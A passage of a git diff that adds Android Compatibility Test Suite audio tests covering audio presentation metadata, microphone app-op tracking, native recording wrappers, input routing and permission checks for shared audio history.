+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private AudioRecord getAudioRecord() {
+        AudioRecord ar = null;
+        try {
+            ar = new AudioRecord(MediaRecorder.AudioSource.DEFAULT,
+                    SAMPLING_RATE,
+                    AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                    AudioFormat.ENCODING_PCM_16BIT,
+                    AudioRecord.getMinBufferSize(SAMPLING_RATE,
+                            AudioFormat.CHANNEL_CONFIGURATION_MONO,
+                            AudioFormat.ENCODING_PCM_16BIT) * 10);
+            assertNotNull("Could not create AudioRecord", ar);
+            assertEquals("AudioRecord not initialized",
+                    AudioRecord.STATE_INITIALIZED, ar.getState());
+        } catch (IllegalArgumentException e) {
+            fail("AudioRecord invalid parameter");
+        }
+        return ar;
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPresentationTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPresentationTest.java
new file mode 100644
index 0000000..af834f0
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPresentationTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.icu.util.ULocale;
+import android.media.AudioPresentation;
+import android.media.cts.NonMediaMainlineTest;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+
+@NonMediaMainlineTest
+public class AudioPresentationTest extends CtsAndroidTestCase {
+    private String TAG = "AudioPresentationTest";
+    private static final String REPORT_LOG_NAME = "CtsMediaAudioTestCases";
+
+    public void testGetters() throws Exception {
+        final int PRESENTATION_ID = 42;
+        final int PROGRAM_ID = 43;
+        final Map<Locale, CharSequence> LABELS = generateLabels();
+        final Locale LOCALE = Locale.US;
+        final int MASTERING_INDICATION = AudioPresentation.MASTERED_FOR_STEREO;
+        final boolean HAS_AUDIO_DESCRIPTION = false;
+        final boolean HAS_SPOKEN_SUBTITLES = true;
+        final boolean HAS_DIALOGUE_ENHANCEMENT = true;
+
+        AudioPresentation presentation = (new AudioPresentation.Builder(PRESENTATION_ID)
+                .setProgramId(PROGRAM_ID)
+                .setLocale(ULocale.forLocale(LOCALE))
+                .setLabels(localeToULocale(LABELS))
+                .setMasteringIndication(MASTERING_INDICATION)
+                .setHasAudioDescription(HAS_AUDIO_DESCRIPTION)
+                .setHasSpokenSubtitles(HAS_SPOKEN_SUBTITLES)
+                .setHasDialogueEnhancement(HAS_DIALOGUE_ENHANCEMENT)).build();
+        assertEquals(PRESENTATION_ID, presentation.getPresentationId());
+        assertEquals(PROGRAM_ID, presentation.getProgramId());
+        assertEquals(LABELS, presentation.getLabels());
+        assertEquals(LOCALE, presentation.getLocale());
+        assertEquals(MASTERING_INDICATION, presentation.getMasteringIndication());
+        assertEquals(HAS_AUDIO_DESCRIPTION, presentation.hasAudioDescription());
+        assertEquals(HAS_SPOKEN_SUBTITLES, presentation.hasSpokenSubtitles());
+        assertEquals(HAS_DIALOGUE_ENHANCEMENT, presentation.hasDialogueEnhancement());
+    }
+
+    public void testEqualsAndHashCode() throws Exception {
+        final int PRESENTATION_ID = 42;
+        final int PROGRAM_ID = 43;
+        final Map<Locale, CharSequence> LABELS = generateLabels();
+        final Locale LOCALE = Locale.US;
+        final Locale LOCALE_3 = Locale.FRENCH;
+        final int MASTERING_INDICATION = AudioPresentation.MASTERED_FOR_STEREO;
+        final int MASTERING_INDICATION_3 = AudioPresentation.MASTERED_FOR_HEADPHONE;
+        final boolean HAS_AUDIO_DESCRIPTION = false;
+        final boolean HAS_SPOKEN_SUBTITLES = true;
+        final boolean HAS_DIALOGUE_ENHANCEMENT = true;
+
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID))
+                    .build();
+            assertEquals(presentation1, presentation1);
+            assertNotEquals(presentation1, null);
+            assertNotEquals(presentation1, new Object());
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID))
+                    .build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID + 1))
+                    .build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setProgramId(PROGRAM_ID)).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setProgramId(PROGRAM_ID)).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setProgramId(PROGRAM_ID + 1)).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setLocale(ULocale.forLocale(LOCALE))).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setLocale(ULocale.forLocale(LOCALE))).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setLocale(ULocale.forLocale(LOCALE_3))).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setLabels(localeToULocale(LABELS))).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setLabels(localeToULocale(LABELS))).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setLabels(new HashMap<ULocale, CharSequence>())).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setMasteringIndication(MASTERING_INDICATION)).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setMasteringIndication(MASTERING_INDICATION)).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setMasteringIndication(MASTERING_INDICATION_3)).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasAudioDescription(HAS_AUDIO_DESCRIPTION)).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasAudioDescription(HAS_AUDIO_DESCRIPTION)).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasAudioDescription(!HAS_AUDIO_DESCRIPTION)).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasSpokenSubtitles(HAS_SPOKEN_SUBTITLES)).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasSpokenSubtitles(HAS_SPOKEN_SUBTITLES)).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasSpokenSubtitles(!HAS_SPOKEN_SUBTITLES)).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+        {
+            AudioPresentation presentation1 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasDialogueEnhancement(HAS_DIALOGUE_ENHANCEMENT)).build();
+            AudioPresentation presentation2 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasDialogueEnhancement(HAS_DIALOGUE_ENHANCEMENT)).build();
+            assertEquals(presentation1, presentation2);
+            assertEquals(presentation2, presentation1);
+            assertEquals(presentation1.hashCode(), presentation2.hashCode());
+            AudioPresentation presentation3 = (new AudioPresentation.Builder(PRESENTATION_ID)
+                    .setHasDialogueEnhancement(!HAS_DIALOGUE_ENHANCEMENT)).build();
+            assertNotEquals(presentation1, presentation3);
+            assertNotEquals(presentation1.hashCode(), presentation3.hashCode());
+        }
+    }
+
+    private static Map<Locale, CharSequence> generateLabels() {
+        Map<Locale, CharSequence> result = new HashMap<Locale, CharSequence>();
+        result.put(Locale.US, Locale.US.getDisplayLanguage());
+        result.put(Locale.FRENCH, Locale.FRENCH.getDisplayLanguage());
+        result.put(Locale.GERMAN, Locale.GERMAN.getDisplayLanguage());
+        return result;
+    }
+
+    private static Map<ULocale, CharSequence> localeToULocale(Map<Locale, CharSequence> locales) {
+        Map<ULocale, CharSequence> ulocaleLabels = new HashMap<ULocale, CharSequence>();
+        for (Map.Entry<Locale, CharSequence> entry : locales.entrySet()) {
+            ulocaleLabels.put(ULocale.forLocale(entry.getKey()), entry.getValue());
+        }
+        return ulocaleLabels;
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordAppOpTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordAppOpTest.java
new file mode 100644
index 0000000..6f708b1
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordAppOpTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static android.app.AppOpsManager.OPSTR_RECORD_AUDIO;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.AppOpsManager;
+import android.app.AppOpsManager.OnOpActiveChangedListener;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mockito;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for media framework behaviors related to app ops.
+ */
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioRecordAppOpTest {
+    private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
+
+    @Test
+    public void testRecordAppOps() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        final String packageName = getContext().getPackageName();
+        final int uid = Process.myUid();
+
+        final AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        final OnOpActiveChangedListener mockListener = mock(OnOpActiveChangedListener.class);
+        final OnOpActiveChangedListener listener = new OnOpActiveChangedListener() {
+            public void onOpActiveChanged(String op, int uid, String packageName, boolean active) {
+                mockListener.onOpActiveChanged(op, uid, packageName, active);
+            }
+        };
+
+        AudioRecord recorder = null;
+        try {
+            // Setup a recorder
+            final AudioRecord candidateRecorder = new AudioRecord.Builder()
+                    .setAudioSource(MediaRecorder.AudioSource.MIC)
+                    .setBufferSizeInBytes(1024)
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setSampleRate(8000)
+                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .build())
+                    .build();
+
+            // The app op should be reported as not started
+            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
+                    uid, packageName)).isFalse();
+
+            // Start watching for app op active
+            appOpsManager.startWatchingActive(new String[] { OPSTR_RECORD_AUDIO },
+                    getContext().getMainExecutor(), listener);
+
+            // Start recording
+            candidateRecorder.startRecording();
+            recorder = candidateRecorder;
+
+            // The app op should start
+            verify(mockListener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
+                    .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
+                    eq(uid), eq(packageName), eq(true));
+
+            // The app op should be reported as started
+            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
+                    uid, packageName)).isTrue();
+
+
+            // Start with a clean slate
+            Mockito.reset(mockListener);
+
+            // Stop recording
+            recorder.stop();
+            recorder.release();
+            recorder = null;
+
+            // The app op should stop
+            verify(mockListener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
+                    .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
+                    eq(uid), eq(packageName), eq(false));
+
+            // The app op should be reported as not started
+            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
+                    uid, packageName)).isFalse();
+        } finally {
+            if (recorder != null) {
+                recorder.stop();
+                recorder.release();
+            }
+
+            appOpsManager.stopWatchingActive(listener);
+        }
+    }
+
+    private static boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordNative.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordNative.java
new file mode 100644
index 0000000..f1b6ed1
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordNative.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.annotation.IntDef;
+import android.annotation.NonNull;
+import android.media.AudioRouting;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+public class AudioRecordNative {
+    // Must be kept in sync with C++ JNI audio-record-native (AudioRecordNative) READ_FLAG_*
+    public static final int READ_FLAG_BLOCKING = 1 << 0;
+    /** @hide */
+    @IntDef(flag = true,
+            value = {
+                    READ_FLAG_BLOCKING,
+            })
+    @Retention(RetentionPolicy.SOURCE)
+    public @interface ReadFlags { }
+
+    public AudioRecordNative() {
+        mNativeRecordInJavaObj = nativeCreateRecord();
+    }
+
+    public boolean open(int numChannels, int sampleRate, boolean useFloat, int numBuffers) {
+        return open(numChannels, 0, sampleRate, useFloat,numBuffers);
+    }
+
+    public boolean open(int numChannels, int channelMask, int sampleRate,
+            boolean useFloat, int numBuffers) {
+        if (nativeOpen(mNativeRecordInJavaObj, numChannels, channelMask,
+                sampleRate, useFloat, numBuffers) == STATUS_OK) {
+            mChannelCount = numChannels;
+            return true;
+        }
+        return false;
+    }
+
+    public void close() {
+        nativeClose(mNativeRecordInJavaObj);
+    }
+
+    public boolean start() {
+        return nativeStart(mNativeRecordInJavaObj) == STATUS_OK;
+    }
+
+    public boolean stop() {
+        return nativeStop(mNativeRecordInJavaObj) == STATUS_OK;
+    }
+
+    public boolean pause() {
+        return nativePause(mNativeRecordInJavaObj) == STATUS_OK;
+    }
+
+    public boolean flush() {
+        return nativeFlush(mNativeRecordInJavaObj) == STATUS_OK;
+    }
+
+    public long getPositionInMsec() {
+        long[] position = new long[1];
+        if (nativeGetPositionInMsec(mNativeRecordInJavaObj, position) != STATUS_OK) {
+            throw new IllegalStateException();
+        }
+        return position[0];
+    }
+
+    public int getBuffersPending() {
+        return nativeGetBuffersPending(mNativeRecordInJavaObj);
+    }
+
+    public AudioRouting getRoutingInterface() {
+        return nativeGetRoutingInterface(mNativeRecordInJavaObj);
+    }
+
+    public int read(@NonNull byte[] byteArray,
+            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags) {
+        return nativeReadByteArray(
+                mNativeRecordInJavaObj, byteArray, offsetInSamples, sizeInSamples, readFlags);
+    }
+
+    public int read(@NonNull short[] shortArray,
+            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags) {
+        return nativeReadShortArray(
+                mNativeRecordInJavaObj, shortArray, offsetInSamples, sizeInSamples, readFlags);
+    }
+
+    public int read(@NonNull float[] floatArray,
+            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags) {
+        return nativeReadFloatArray(
+                mNativeRecordInJavaObj, floatArray, offsetInSamples, sizeInSamples, readFlags);
+    }
+
+    public int getChannelCount() {
+        return mChannelCount;
+    }
+
+    public static boolean test(int numChannels, int sampleRate, boolean useFloat,
+            int msecPerBuffer, int numBuffers) {
+        return test(numChannels, 0, sampleRate, useFloat, msecPerBuffer, numBuffers);
+    }
+
+    public static boolean test(int numChannels, int channelMask, int sampleRate, boolean useFloat,
+            int msecPerBuffer, int numBuffers) {
+        return nativeTest(numChannels, channelMask, sampleRate, useFloat, msecPerBuffer, numBuffers)
+                == STATUS_OK;
+    }
+
+    @Override
+    protected void finalize() {
+        nativeClose(mNativeRecordInJavaObj);
+        nativeDestroyRecord(mNativeRecordInJavaObj);
+    }
+
+    static {
+        System.loadLibrary("audiocts_jni");
+    }
+
+    private static final String TAG = "AudioRecordNative";
+    private int mChannelCount;
+    private final long mNativeRecordInJavaObj;
+    private static final int STATUS_OK = 0;
+
+    // static native API.
+    // The native API uses a long "record handle" created by nativeCreateRecord.
+    // The handle must be destroyed after use by nativeDestroyRecord.
+    //
+    // Return codes from the native layer are status_t.
+    // Converted to Java booleans or exceptions at the public API layer.
+    private static native long nativeCreateRecord();
+    private static native void nativeDestroyRecord(long record);
+    private static native int nativeOpen(
+            long record, int numChannels, int channelMask,
+            int sampleRate, boolean useFloat, int numBuffers);
+    private static native void nativeClose(long record);
+    private static native int nativeStart(long record);
+    private static native int nativeStop(long record);
+    private static native int nativePause(long record);
+    private static native int nativeFlush(long record);
+    private static native int nativeGetPositionInMsec(long record, @NonNull long[] position);
+    private static native int nativeGetBuffersPending(long record);
+    private static native int nativeReadByteArray(long record, @NonNull byte[] byteArray,
+            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags);
+    private static native int nativeReadShortArray(long record, @NonNull short[] shortArray,
+            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags);
+    private static native int nativeReadFloatArray(long record, @NonNull float[] floatArray,
+            int offsetInSamples, int sizeInSamples, @ReadFlags int readFlags);
+    private static native AudioRouting nativeGetRoutingInterface(long record);
+
+    // native interface for all-in-one testing, no record handle required.
+    private static native int nativeTest(
+            int numChannels, int channelMask, int sampleRate,
+            boolean useFloat, int msecPerBuffer, int numBuffers);
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordRoutingNative.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordRoutingNative.java
new file mode 100644
index 0000000..f6fe1cd
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordRoutingNative.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.annotation.IntDef;
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.AudioRouting;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+public class AudioRecordRoutingNative extends AndroidTestCase {
+    private static final String TAG = "AudioRecordRoutingNative";
+
+    private AudioManager mAudioManager;
+
+    static {
+        System.loadLibrary("audiocts_jni");
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // get the AudioManager
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertNotNull(mAudioManager);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    //
+    // Tests
+    //
+
+    // Test a basic Aquire/Release cycle on the default recorder.
+    public void testAquireDefaultProxy() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecorder recorder = new AudioRecorder();
+        recorder.ClearLastSLResult();
+        recorder.RealizeRecorder();
+        recorder.RealizeRoutingProxy();
+
+        AudioRouting routingObj = recorder.GetRoutingInterface();
+        assertNotNull(routingObj);
+
+        // Not allowed to acquire twice
+        routingObj = recorder.GetRoutingInterface();
+        assertNull(routingObj);
+        assertTrue(recorder.GetLastSLResult() != 0);
+
+        recorder.ReleaseRoutingInterface(routingObj);
+        assertTrue(recorder.GetLastSLResult() == 0);
+    }
+
+    // Test an Aquire before the OpenSL ES recorder is Realized.
+    public void testAquirePreRealizeDefaultProxy() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecorder recorder = new AudioRecorder();
+        recorder.ClearLastSLResult();
+        recorder.RealizeRecorder();
+        recorder.RealizeRoutingProxy();
+        assertTrue(recorder.GetLastSLResult() == 0);
+
+        AudioRouting routingObj = recorder.GetRoutingInterface();
+        assertTrue(recorder.GetLastSLResult() == 0);
+        assertNotNull(routingObj);
+
+        recorder.RealizeRecorder();
+        assertTrue(recorder.GetLastSLResult() == 0);
+
+        recorder.ReleaseRoutingInterface(routingObj);
+        assertTrue(recorder.GetLastSLResult() == 0);
+    }
+
+    // Test actually setting the routing through the enumerated devices.
+    public void testRouting() {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecorder recorder = new AudioRecorder();
+        recorder.ClearLastSLResult();
+        recorder.RealizeRecorder();
+        recorder.RealizeRoutingProxy();
+
+        AudioRouting routingObj = recorder.GetRoutingInterface();
+        assertNotNull(routingObj);
+
+        AudioDeviceInfo[] deviceList;
+        deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        assertTrue(deviceList != null);
+        for (AudioDeviceInfo devInfo : deviceList) {
+            assertTrue(routingObj.setPreferredDevice(devInfo));
+        }
+
+        recorder.ReleaseRoutingInterface(routingObj);
+        assertTrue(recorder.GetLastSLResult() == 0);
+    }
+
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordSharedAudioTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordSharedAudioTest.java
new file mode 100644
index 0000000..f04fa4b
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordSharedAudioTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaSyncEvent;
+import android.media.cts.NonMediaMainlineTest;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class AudioRecordSharedAudioTest {
+    private static final String TAG = "AudioRecordSharedAudioTest";
+    private static final int SAMPLING_RATE_HZ = 16000;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(hasMicrophone());
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity();
+        clearAudioserverPermissionCache();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        clearAudioserverPermissionCache();
+    }
+
+    @Test
+    public void testPermissionFailure() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        clearAudioserverPermissionCache();
+
+        assertThrows(UnsupportedOperationException.class, () -> {
+                    AudioRecord record = new AudioRecord.Builder().setMaxSharedAudioHistoryMillis(
+                            AudioRecord.getMaxSharedAudioHistoryMillis() - 1).build();
+                });
+
+        final AudioRecord record =
+                new AudioRecord.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                            .setSampleRate(SAMPLING_RATE_HZ)
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                        .setBufferSizeInBytes(SAMPLING_RATE_HZ
+                                * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
+                        .build();
+        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
+        record.startRecording();
+        Thread.sleep(500);
+
+        assertThrows(SecurityException.class, () -> {
+                    record.shareAudioHistory(
+                            InstrumentationRegistry.getTargetContext().getPackageName(), 100);
+                });
+
+        record.stop();
+        record.release();
+    }
+
+    @Test
+    public void testPermissionSuccess() throws Exception {
+        AudioRecord record = new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
+                    .setSampleRate(SAMPLING_RATE_HZ)
+                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                    .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                .setBufferSizeInBytes(SAMPLING_RATE_HZ
+                        * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
+                .setMaxSharedAudioHistoryMillis(
+                    AudioRecord.getMaxSharedAudioHistoryMillis()-1)
+                .build();
+
+        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
+
+        record.startRecording();
+        Thread.sleep(500);
+        try {
+            record.shareAudioHistory(
+                    InstrumentationRegistry.getTargetContext().getPackageName(), 100);
+        } catch (SecurityException e) {
+            fail("testPermissionSuccess shareAudioHistory be allowed");
+        } finally {
+            record.stop();
+            record.release();
+        }
+    }
+
+    @Test
+    public void testBadValues() throws Exception {
+        assertThrows(IllegalArgumentException.class, () -> {
+                    AudioRecord.Builder builder = new AudioRecord.Builder()
+                            .setMaxSharedAudioHistoryMillis(
+                                    AudioRecord.getMaxSharedAudioHistoryMillis() + 1);
+                });
+
+        assertThrows(IllegalArgumentException.class, () -> {
+                    AudioRecord.Builder builder = new AudioRecord.Builder()
+                            .setMaxSharedAudioHistoryMillis(-1);
+                });
+
